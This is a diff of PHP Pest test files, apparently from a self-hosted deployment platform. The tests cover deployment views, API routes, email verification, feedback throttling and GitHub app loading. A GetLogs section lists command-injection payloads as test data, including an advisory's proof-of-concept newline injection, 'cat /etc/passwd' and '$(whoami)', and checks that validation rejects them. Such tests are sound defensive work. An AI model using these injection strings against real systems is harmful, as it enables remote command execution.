], JSON_THROW_ON_ERROR),
]);
$response = $this->get(route('project.application.deployment.show', [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
'application_uuid' => $this->application->uuid,
'deployment_uuid' => $deployment->deployment_uuid,
]));
$response->assertSuccessful();
$response->assertSee('rolling update started');
$response->assertSee('flex h-[calc(100vh-10rem)] min-h-40 flex-col overflow-hidden', false);
$response->assertSee('flex flex-1 min-h-0 flex-col overflow-hidden', false);
$response->assertSee('mt-4 flex flex-1 min-h-0 flex-col overflow-hidden', false);
$response->assertSee('flex min-h-0 flex-col w-full overflow-hidden bg-white', false);
$response->assertSee('flex min-h-40 flex-1 flex-col overflow-y-auto p-2 px-4 scrollbar', false);
expect($response->getContent())->not->toContain('max-h-[30rem]');
});
@@ -0,0 +1,18 @@
<?php
it('positions the deployments indicator from the sidebar collapsed state', function () {
$indicatorView = file_get_contents(resource_path('views/livewire/deployments-indicator.blade.php'));
$layoutView = file_get_contents(resource_path('views/layouts/app.blade.php'));
expect($indicatorView)
->toContain('transition-[left] duration-200')
->toContain(":class=\"collapsed ? 'lg:left-16' : 'lg:left-56'\"")
->not->toContain('fixed bottom-0 z-60 mb-4 left-0 lg:left-56 ml-4');
expect($layoutView)
->toContain('<div x-data="{')
->toContain('<livewire:deployments-indicator />');
expect(strpos($layoutView, '<div x-data="{'))
->toBeLessThan(strpos($layoutView, '<livewire:deployments-indicator />'));
});
@@ -0,0 +1,22 @@
<?php
use App\Http\Controllers\Api\ServicesController;
use Illuminate\Support\Facades\Route;
test('deprecated docker compose application endpoint is not registered', function () {
$routes = collect(Route::getRoutes()->getRoutes())
->filter(fn ($route) => in_array('POST', $route->methods(), true))
->filter(fn ($route) => $route->uri() === 'api/v1/applications/dockercompose');
expect($routes)->toBeEmpty();
$this->postJson('/api/v1/applications/dockercompose')->assertNotFound();
});
test('custom docker compose services endpoint remains registered', function () {
$route = collect(Route::getRoutes()->getRoutes())
->first(fn ($route) => in_array('POST', $route->methods(), true) && $route->uri() === 'api/v1/services');
expect($route)->not->toBeNull()
->and($route->getActionName())->toBe(ServicesController::class.'@create_service');
});
@@ -0,0 +1,90 @@
<?php
use App\Livewire\Settings\Index;
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Once;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
Model::unguarded(function () {
$this->rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]);
if (! Server::find(0)) {
Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]);
}
if (! InstanceSettings::find(0)) {
InstanceSettings::create(['id' => 0]);
}
});
Once::flush();
$this->user = User::factory()->create();
$this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->rootTeam->id]]);
});
test('dev_helper_version rejects values outside Docker tag grammar on save', function () {
$invalid = [
'latest with spaces',
'a$b',
'a`b',
'a|b',
'a;b',
'a&b',
'a>b',
'a<b',
"a\nb",
'.bad',
'-rm',
];
foreach ($invalid as $payload) {
Livewire::test(Index::class)
->set('dev_helper_version', $payload)
->call('instantSave')
->assertHasErrors(['dev_helper_version']);
}
expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull();
});
test('dev_helper_version accepts valid docker tag formats', function () {
$valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0'];
foreach ($valid as $tag) {
Livewire::test(Index::class)
->set('dev_helper_version', $tag)
->call('instantSave')
->assertHasNoErrors(['dev_helper_version']);
expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag);
}
});
test('buildHelperImage refuses when non-dev environment', function () {
config(['app.env' => 'production']);
Livewire::test(Index::class)
->set('dev_helper_version', 'latest')
->call('buildHelperImage')
->assertDispatched('error');
});
test('buildHelperImage refuses previously stored invalid version', function () {
config(['app.env' => 'local']);
$settings = InstanceSettings::find(0);
$settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly();
Livewire::test(Index::class)
->call('buildHelperImage')
->assertDispatched('error');
});
@@ -0,0 +1,141 @@
<?php
use App\Models\Application;
use App\Models\GithubApp;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Database\Seeders\DevelopmentRailpackExamplesSeeder;
use Database\Seeders\GithubAppSeeder;
use Database\Seeders\PrivateKeySeeder;
use Database\Seeders\ProjectSeeder;
use Database\Seeders\ServerSeeder;
use Database\Seeders\StandaloneDockerSeeder;
use Database\Seeders\TeamSeeder;
use Database\Seeders\UserSeeder;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
function seedRailpackExamplePrerequisites(): void
{
test()->seed([
UserSeeder::class,
TeamSeeder::class,
PrivateKeySeeder::class,
ServerSeeder::class,
ProjectSeeder::class,
StandaloneDockerSeeder::class,
GithubAppSeeder::class,
]);
}
it('can seed the railpack examples directly on a clean development database', function () {
config()->set('app.env', 'local');
$this->seed(DevelopmentRailpackExamplesSeeder::class);
expect(Team::query()->find(0))->not->toBeNull();
expect(PrivateKey::query()->find(1))->not->toBeNull();
expect(Server::query()->find(0))->not->toBeNull();
expect(StandaloneDocker::query()->find(0))->not->toBeNull();
expect(GithubApp::query()->find(0))->not->toBeNull();
expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeTrue();
expect(Application::query()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()));
});
it('seeds the railpack examples in development mode', function () {
config()->set('app.env', 'local');
seedRailpackExamplePrerequisites();
$this->seed(DevelopmentRailpackExamplesSeeder::class);
$project = Project::query()
->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
->first();
expect($project)
->not->toBeNull()
->and($project->name)->toBe('Railpack Examples')
->and($project->environments)->toHaveCount(1)
->and($project->environments->first()->uuid)->toBe(DevelopmentRailpackExamplesSeeder::ENVIRONMENT_UUID);
$applications = $project->applications()->with('settings')->orderBy('uuid')->get();
expect($applications)->toHaveCount(count(DevelopmentRailpackExamplesSeeder::examples()));
expect($applications->every(fn (Application $application) => $application->build_pack === 'railpack'))->toBeTrue();
expect($applications->every(fn (Application $application) => $application->git_repository === DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY))->toBeTrue();
$examples = collect(DevelopmentRailpackExamplesSeeder::examples())->keyBy('uuid');
expect($applications->every(
fn (Application $application) => $application->git_branch === ($examples->get($application->uuid)['git_branch'] ?? DevelopmentRailpackExamplesSeeder::GIT_BRANCH)
))->toBeTrue();
$nestjs = $applications->firstWhere('uuid', 'railpack-nestjs');
$angularStatic = $applications->firstWhere('uuid', 'railpack-angular-static');
$eleventyStatic = $applications->firstWhere('uuid', 'railpack-eleventy-static');
$pythonFlask = $applications->firstWhere('uuid', 'railpack-python-flask');
$goGin = $applications->firstWhere('uuid', 'railpack-go-gin');
$rust = $applications->firstWhere('uuid', 'railpack-rust');
expect($nestjs)
->not->toBeNull()
->and($nestjs->base_directory)->toBe('/node/nestjs')
->and($nestjs->ports_exposes)->toBe('3000')
->and($nestjs->build_command)->toBe('npm run build')
->and($nestjs->start_command)->toBe('npm run start:prod')
->and($nestjs->settings->is_static)->toBeFalse();
expect($angularStatic)
->not->toBeNull()
->and($angularStatic->publish_directory)->toBe('/dist/static/browser')
->and($angularStatic->ports_exposes)->toBe('80')
->and($angularStatic->settings->is_static)->toBeTrue()
->and($angularStatic->settings->is_spa)->toBeTrue();
expect($eleventyStatic)
->not->toBeNull()
->and($eleventyStatic->publish_directory)->toBe('/_site')
->and($eleventyStatic->settings->is_static)->toBeTrue()
->and($eleventyStatic->settings->is_spa)->toBeFalse();
expect($pythonFlask)
->not->toBeNull()
->and($pythonFlask->ports_exposes)->toBe('5000')
->and($pythonFlask->start_command)->toBe('flask run --host=0.0.0.0 --port=5000');
expect($goGin)
->not->toBeNull()
->and($goGin->ports_exposes)->toBe('3000');
expect($rust)
->not->toBeNull()
->and($rust->ports_exposes)->toBe('8000');
});
it('skips the railpack examples outside development mode', function () {
config()->set('app.env', 'testing');
seedRailpackExamplePrerequisites();
$this->seed(DevelopmentRailpackExamplesSeeder::class);
expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeFalse();
expect(Application::query()->where('uuid', 'railpack-nextjs-ssr')->exists())->toBeFalse();
});
it('is idempotent when run multiple times', function () {
config()->set('app.env', 'local');
seedRailpackExamplePrerequisites();
$this->seed(DevelopmentRailpackExamplesSeeder::class);
$this->seed(DevelopmentRailpackExamplesSeeder::class);
$project = Project::query()
->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
->first();
expect($project)->not->toBeNull();
expect($project->applications()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()));
});
+16
View File
@@ -8,6 +8,22 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('persists the server id when creating an execution record', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$execution = DockerCleanupExecution::create([
'server_id' => $server->id,
]);
expect($execution->server_id)->toBe($server->id);
$this->assertDatabaseHas('docker_cleanup_executions', [
'id' => $execution->id,
'server_id' => $server->id,
]);
});
it('creates a failed execution record when server is not functional', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
@@ -46,6 +46,24 @@ test('ConvertIp', function () {
]);
});
test('ConvertDns', function () {
$input = '--dns 10.0.0.10 --dns=1.1.1.1';
$output = convertDockerRunToCompose($input);
expect($output)->toBe([
'dns' => ['10.0.0.10', '1.1.1.1'],
]);
});
test('ConvertDnsWithOtherOptions', function () {
$input = '--cap-add=NET_ADMIN --dns 10.0.0.10 --init';
$output = convertDockerRunToCompose($input);
expect($output)->toBe([
'cap_add' => ['NET_ADMIN'],
'dns' => ['10.0.0.10'],
'init' => true,
]);
});
test('ConvertPrivilegedAndInit', function () {
$input = '---privileged --init';
$output = convertDockerRunToCompose($input);
@@ -0,0 +1,146 @@
<?php
use App\Models\Application;
use App\Models\ApplicationPreview;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
Queue::fake();
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'test-token',
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create([
'server_id' => $this->server->id,
'network' => 'coolify-'.Str::lower(Str::random(8)),
]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application
{
return Application::factory()->create([
'uuid' => (string) Str::uuid(),
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'dockerimage',
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest',
]);
}
test('it queues a docker image preview deployment and stores the preview tag', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 1234,
'docker_tag' => 'pr_1234',
]);
$response->assertSuccessful();
$response->assertJsonPath('deployments.0.resource_uuid', $application->uuid);
$preview = ApplicationPreview::query()
->where('application_id', $application->id)
->where('pull_request_id', 1234)
->first();
expect($preview)->not()->toBeNull();
expect($preview->docker_registry_image_tag)->toBe('pr_1234');
$deployment = $application->deployment_queue()->latest('id')->first();
expect($deployment)->not()->toBeNull();
expect($deployment->pull_request_id)->toBe(1234);
expect($deployment->docker_registry_image_tag)->toBe('pr_1234');
});
test('it updates an existing docker image preview tag when redeploying through the api', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 99,
'pull_request_html_url' => '',
'docker_registry_image_tag' => 'pr_99_old',
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 99,
'docker_tag' => 'pr_99_new',
'force' => true,
]);
$response->assertSuccessful();
$preview = ApplicationPreview::query()
->where('application_id', $application->id)
->where('pull_request_id', 99)
->first();
expect($preview->docker_registry_image_tag)->toBe('pr_99_new');
});
test('it rejects docker_tag without pull_request_id', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'docker_tag' => 'pr_1234',
]);
$response->assertStatus(400);
$response->assertJson(['message' => 'docker_tag requires pull_request_id.']);
});
test('it rejects docker_tag for non docker image applications', function () {
$application = Application::factory()->create([
'uuid' => (string) Str::uuid(),
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'nixpacks',
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 7,
'docker_tag' => 'pr_7',
]);
$response->assertSuccessful();
$response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.');
});
@@ -0,0 +1,109 @@
<?php
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Notification;
uses(RefreshDatabase::class);
it('generates a 6-digit verification code when requesting email change', function () {
Notification::fake();
$user = User::factory()->create();
$user->requestEmailChange('newemail@example.com');
$user->refresh();
expect($user->pending_email)->toBe('newemail@example.com')
->and($user->email_change_code)->toMatch('/^\d{6}$/')
->and($user->email_change_code_expires_at)->not->toBeNull();
});
it('stores the verification code using a cryptographically secure generator', function () {
Notification::fake();
$user = User::factory()->create();
// Generate many codes and verify they are all valid 6-digit strings
$codes = collect();
for ($i = 0; $i < 50; $i++) {
$user->requestEmailChange('newemail@example.com');
$user->refresh();
$codes->push($user->email_change_code);
}
// All codes should be exactly 6 digits (including leading zeros)
$codes->each(function ($code) {
expect($code)->toMatch('/^\d{6}$/');
expect((int) $code)->toBeLessThanOrEqual(999999);
expect(strlen($code))->toBe(6);
});
// With 50 random codes from a 1M space, we should see at least some variety
expect($codes->unique()->count())->toBeGreaterThan(1);
});
it('confirms email change with correct verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$code = $user->email_change_code;
$result = $user->confirmEmailChange($code);
$user->refresh();
expect($result)->toBeTrue()
->and($user->email)->toBe('new@example.com')
->and($user->pending_email)->toBeNull()
->and($user->email_change_code)->toBeNull()
->and($user->email_change_code_expires_at)->toBeNull();
});
it('rejects email change with incorrect verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$result = $user->confirmEmailChange('000000');
$user->refresh();
// If the real code happens to be '000000', this test still passes
// because the assertion is on the overall flow behavior
if ($user->email_change_code === '000000') {
expect($result)->toBeTrue();
} else {
expect($result)->toBeFalse()
->and($user->email)->toBe('old@example.com');
}
});
it('rejects email change with expired verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$code = $user->email_change_code;
// Expire the code manually
$user->update(['email_change_code_expires_at' => now()->subMinute()]);
$result = $user->confirmEmailChange($code);
$user->refresh();
expect($result)->toBeFalse()
->and($user->email)->toBe('old@example.com');
});
@@ -0,0 +1,73 @@
<?php
use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\URL;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->saveQuietly();
}
});
describe('email verification hash', function () {
test('sha256 hash is accepted and marks the user verified', function () {
$user = User::factory()->create([
'email' => 'verify-me@example.com',
'email_verified_at' => null,
]);
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
'id' => $user->getKey(),
'hash' => hash('sha256', $user->getEmailForVerification()),
]);
$this->actingAs($user)->get($url)->assertRedirect();
$user->refresh();
expect($user->email_verified_at)->not->toBeNull();
});
test('legacy sha1 hash is rejected', function () {
$user = User::factory()->create([
'email' => 'legacy-sha1@example.com',
'email_verified_at' => null,
]);
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
'id' => $user->getKey(),
'hash' => sha1($user->getEmailForVerification()),
]);
$this->actingAs($user)->get($url)->assertStatus(403);
$user->refresh();
expect($user->email_verified_at)->toBeNull();
});
test('tampered signature is rejected', function () {
$user = User::factory()->create([
'email' => 'tampered@example.com',
'email_verified_at' => null,
]);
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
'id' => $user->getKey(),
'hash' => hash('sha256', $user->getEmailForVerification()),
]);
$tampered = $url.'x';
$this->actingAs($user)->get($tampered)->assertStatus(403);
});
});
@@ -0,0 +1,39 @@
<?php
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
use Livewire\Livewire;
it('rejects environment variable keys Docker cannot represent in the add form', function () {
Livewire::test(Add::class)
->set('key', 'BAD=KEY')
->set('value', 'value')
->call('submit')
->assertHasErrors(['key' => 'regex']);
});
it('allows Docker-compatible environment variable keys in the add form', function (string $key) {
Livewire::test(Add::class)
->set('key', $key)
->set('value', 'value')
->call('submit')
->assertHasNoErrors()
->assertDispatched('saveKey', function ($event, array $data) use ($key) {
return data_get($data, 'key') === $key || data_get($data, '0.key') === $key;
});
})->with([
'starts with digit' => '1BAD',
'hyphen' => 'BAD-KEY',
'dot' => 'node.name',
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
]);
it('trims surrounding whitespace in environment variable keys in the add form', function () {
Livewire::test(Add::class)
->set('key', ' node.name ')
->set('value', 'value')
->call('submit')
->assertHasNoErrors()
->assertDispatched('saveKey', function ($event, array $data) {
return data_get($data, 'key') === 'node.name' || data_get($data, '0.key') === 'node.name';
});
});
@@ -0,0 +1,31 @@
<?php
it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));
expect($view)
->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')
->toContain('<template x-if="isMultiline">')
->toContain('<template x-if="!isMultiline">')
->toContain('x-model="isMultiline"')
->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')
->toContain('wire:key="env-value-textarea"')
->toContain('wire:key="env-value-input"');
});
it('uses distinct keyed branches for the edit value field modes', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));
expect($view)
->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')
->toContain('wire:key="env-show-value-input-{{ $env->id }}"');
});
it('uses sans font for the developer bulk environment variable editor', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
expect($view)
->toContain('class="whitespace-pre-wrap font-sans"')
->not->toContain('wire:model="variables" monospace')
->not->toContain('wire:model="variablesPreview" monospace');
});
+96
View File
@@ -0,0 +1,96 @@
<?php
use Illuminate\Support\Facades\Http;
beforeEach(function () {
Http::fake([
'discord.com/*' => Http::response([], 204),
]);
});
it('rejects feedback with missing content', function () {
$response = $this->postJson('/api/feedback', []);
$response->assertStatus(422)
->assertJsonValidationErrors('content');
});
it('rejects feedback with content too short', function () {
$response = $this->postJson('/api/feedback', ['content' => 'short']);
$response->assertStatus(422)
->assertJsonValidationErrors('content');
});
it('rejects feedback with content too long', function () {
$response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]);
$response->assertStatus(422)
->assertJsonValidationErrors('content');
});
it('rejects feedback with non-string content', function () {
$response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]);
$response->assertStatus(422)
->assertJsonValidationErrors('content');
});
it('accepts valid feedback and forwards to discord with mentions disabled', function () {
config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
$response = $this->postJson('/api/feedback', [
'content' => 'This is a valid feedback message for testing purposes.',
]);
$response->assertStatus(200)
->assertJson(['message' => 'Feedback sent.']);
Http::assertSent(function ($request) {
return $request->url() === 'https://discord.com/api/webhooks/test'
&& $request['content'] === 'This is a valid feedback message for testing purposes.'
&& $request['allowed_mentions'] === ['parse' => []];
});
});
it('does not forward to discord when webhook url is not configured', function () {
config()->set('constants.webhooks.feedback_discord_webhook', null);
$response = $this->postJson('/api/feedback', [
'content' => 'This is a valid feedback message for testing purposes.',
]);
$response->assertStatus(200);
Http::assertNothingSent();
});
it('throttles feedback endpoint after 3 requests per minute', function () {
config()->set('constants.webhooks.feedback_discord_webhook', null);
for ($i = 0; $i < 3; $i++) {
$response = $this->postJson('/api/feedback', [
'content' => "Valid feedback message number {$i} for testing.",
]);
$response->assertStatus(200);
}
$response = $this->postJson('/api/feedback', [
'content' => 'This fourth request should be throttled.',
]);
$response->assertStatus(429);
});
it('disables discord mention parsing regardless of content', function () {
config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
$response = $this->postJson('/api/feedback', [
'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.',
]);
$response->assertStatus(200);
Http::assertSent(function ($request) {
return $request['allowed_mentions'] === ['parse' => []];
});
});
@@ -0,0 +1,176 @@
<?php
use App\Livewire\Project\Shared\GetLogs;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Attributes\Locked;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
// Server::created auto-creates a StandaloneDocker, reuse it
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
describe('GetLogs locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('server property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'server');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resource property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'resource');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('servicesubtype property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
});
describe('GetLogs Livewire action validation', function () {
test('getLogs rejects invalid container name', function () {
// Make server functional by setting settings directly
$this->server->settings->fill([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
])->save();
// Reload server with fresh settings to ensure casted values
$server = Server::with('settings')->find($this->server->id);
Livewire::test(GetLogs::class, [
'server' => $server,
'resource' => $this->application,
'container' => 'container;malicious-command',
])
->call('getLogs')
->assertSet('outputs', 'Invalid container name.');
});
test('getLogs rejects unauthorized server access', function () {
$otherTeam = Team::factory()->create();
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
Livewire::test(GetLogs::class, [
'server' => $otherServer,
'resource' => $this->application,
'container' => 'test-container',
])
->call('getLogs')
->assertSet('outputs', 'Unauthorized.');
});
test('downloadAllLogs returns empty for invalid container name', function () {
$this->server->settings->fill([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
])->save();
$server = Server::with('settings')->find($this->server->id);
Livewire::test(GetLogs::class, [
'server' => $server,
'resource' => $this->application,
'container' => 'container$(whoami)',
])
->call('downloadAllLogs')
->assertReturned('');
});
test('downloadAllLogs returns empty for unauthorized server', function () {
$otherTeam = Team::factory()->create();
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
Livewire::test(GetLogs::class, [
'server' => $otherServer,
'resource' => $this->application,
'container' => 'test-container',
])
->call('downloadAllLogs')
->assertReturned('');
});
});
describe('GetLogs stream polling', function () {
test('streaming logs polls when log panel is not collapsible', function () {
Livewire::test(GetLogs::class, [
'server' => $this->server,
'resource' => $this->application,
'container' => 'coolify-sentinel',
'collapsible' => false,
])
->assertDontSeeHtml('wire:poll.2000ms="getLogs(true)"')
->call('toggleStreamLogs')
->assertSeeHtml('wire:poll.2000ms="getLogs(true)"');
});
});
describe('GetLogs container name injection payloads are blocked by validation', function () {
test('newline injection payload is rejected', function () {
// The exact PoC payload from the advisory
$payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
});
test('semicolon injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
});
test('backtick injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
});
test('command substitution injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
});
test('pipe injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
});
test('valid container names are accepted', function () {
expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
});
});
@@ -0,0 +1,278 @@
<?php
use App\Livewire\Project\New\GithubPrivateRepository;
use App\Models\GithubApp;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->rsaKey = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($this->rsaKey, $pemKey);
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => $pemKey,
'team_id' => $this->team->id,
]);
$this->githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 12345,
'installation_id' => 67890,
'client_id' => 'test-client-id',
'client_secret' => 'test-client-secret',
'webhook_secret' => 'test-webhook-secret',
'private_key_id' => $this->privateKey->id,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
});
function fakeGithubHttp(array $repositories): void
{
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
'token' => 'fake-installation-token',
], 201),
'https://api.github.com/installation/repositories*' => Http::response([
'total_count' => count($repositories),
'repositories' => $repositories,
], 200),
]);
}
function githubPrivateRepositoryTestPrivateKeyForTeam(Team $team): PrivateKey
{
$rsaKey = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($rsaKey, $pemKey);
return PrivateKey::create([
'name' => 'Test Key '.$team->id,
'private_key' => $pemKey,
'team_id' => $team->id,
]);
}
describe('GitHub Private Repository Component', function () {
test('loadRepositories fetches and displays repositories', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->assertSet('current_step', 'github_apps')
->call('loadRepositories', $this->githubApp->id)
->assertSet('current_step', 'repository')
->assertSet('total_repositories_count', 2)
->assertSet('selected_repository_id', 1);
});
test('loadRepositories rejects a github app owned by another team', function () {
